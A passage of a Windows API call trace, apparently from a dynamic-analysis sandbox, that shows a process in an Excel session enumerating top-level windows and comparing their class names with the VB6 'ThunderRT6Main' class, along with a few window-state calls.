lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.685] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0125.685] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0125.685] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0125.685] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0125.685] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.686] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0125.686] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.686] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.686] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0125.686] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0125.686] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0125.686] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0125.686] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.686] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.686] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0125.686] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0125.687] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0125.687] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0125.687] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.687] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.687] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0125.687] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0125.687] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0125.687] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0125.687] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.687] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.688] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0125.688] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.688] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.688] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0125.688] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0125.688] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0125.688] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0125.688] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.688] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.689] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0125.689] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.689] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.689] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0125.689] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0125.689] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0125.689] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0125.689] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.689] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.690] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0125.690] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.690] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.690] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0125.690] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.690] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.690] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0125.690] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.690] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.691] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0125.691] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0125.691] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0125.691] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0125.691] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.691] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0125.691] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0125.691] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0125.692] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0125.692] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0125.692] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0125.692] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0125.692] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.692] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0125.692] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0125.692] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0125.693] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0125.693] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0125.693] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0125.693] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0125.693] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0125.693] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0125.693] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0125.693] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.693] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.693] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0125.694] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0125.694] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0125.694] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0125.694] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.694] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.694] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0125.694] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0125.694] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0125.694] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0125.694] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0125.695] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0125.695] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0125.695] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f7adb0 [0125.709] IMalloc:Free (This=0x7fefecb5380, pv=0x4f7adb0) [0128.423] GetAsyncKeyState (vKey=27) returned 0 [0128.423] GetCurrentThreadId () returned 0xbdc [0128.423] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0128.423] GetDesktopWindow () returned 0x10010 [0128.423] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0128.423] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.423] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.424] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0128.424] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.424] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.424] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0128.424] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.424] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.424] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0128.424] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0128.424] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0128.425] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0128.425] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.425] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.425] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0128.425] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0128.425] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0128.425] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0128.425] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.425] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.426] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0128.426] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.426] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.426] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0128.426] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.426] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.426] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0128.426] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.426] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.426] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0128.426] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.426] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.427] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0128.427] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.427] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.427] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0128.427] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.427] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.427] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0128.427] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.427] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.427] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0128.427] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.428] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0128.428] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0128.428] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0128.428] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0128.428] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0128.428] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0128.428] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0128.428] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.428] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.429] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0128.429] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.429] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.429] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0128.429] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0128.429] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0128.429] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0128.429] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.429] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.429] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0128.430] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0128.430] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0128.430] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0128.430] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.430] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.430] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0128.430] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0128.430] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0128.430] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0128.430] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.430] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.430] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0128.430] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0128.430] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0128.430] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0128.430] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.430] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.431] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0128.431] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0128.431] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0128.431] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0128.431] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0128.431] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0128.431] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0128.431] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0128.431] IsWindowEnabled (hWnd=0x20360) returned 0 [0128.431] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0128.431] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0128.431] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0128.431] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0128.431] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.431] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.431] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.431] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0128.431] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0128.431] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.431] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.431] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0128.431] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0128.431] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0128.432] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0128.432] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.432] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0128.432] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0128.432] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0128.432] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0128.432] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0128.432] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0128.432] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.432] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0128.432] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0128.432] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0128.432] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0128.432] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0128.432] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0128.432] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.432] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0128.432] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0128.432] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0128.432] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0128.432] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.432] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.432] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.432] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0128.432] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0128.432] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0128.432] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0128.432] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0128.432] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0128.432] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0128.432] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0128.432] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0128.432] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0128.432] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.432] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0128.432] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0128.432] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0128.432] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0128.432] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0128.433] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.433] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0128.433] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.433] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0128.433] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0128.433] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0128.433] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0128.433] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0128.433] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.433] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.433] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0128.433] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0128.433] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.433] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.433] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0128.433] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0128.433] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.433] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.433] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0128.433] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0128.433] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.433] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0128.433] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0128.433] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.433] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0128.433] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.433] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.433] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.434] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0128.434] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.434] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.434] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0128.434] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.434] lstrcmpA 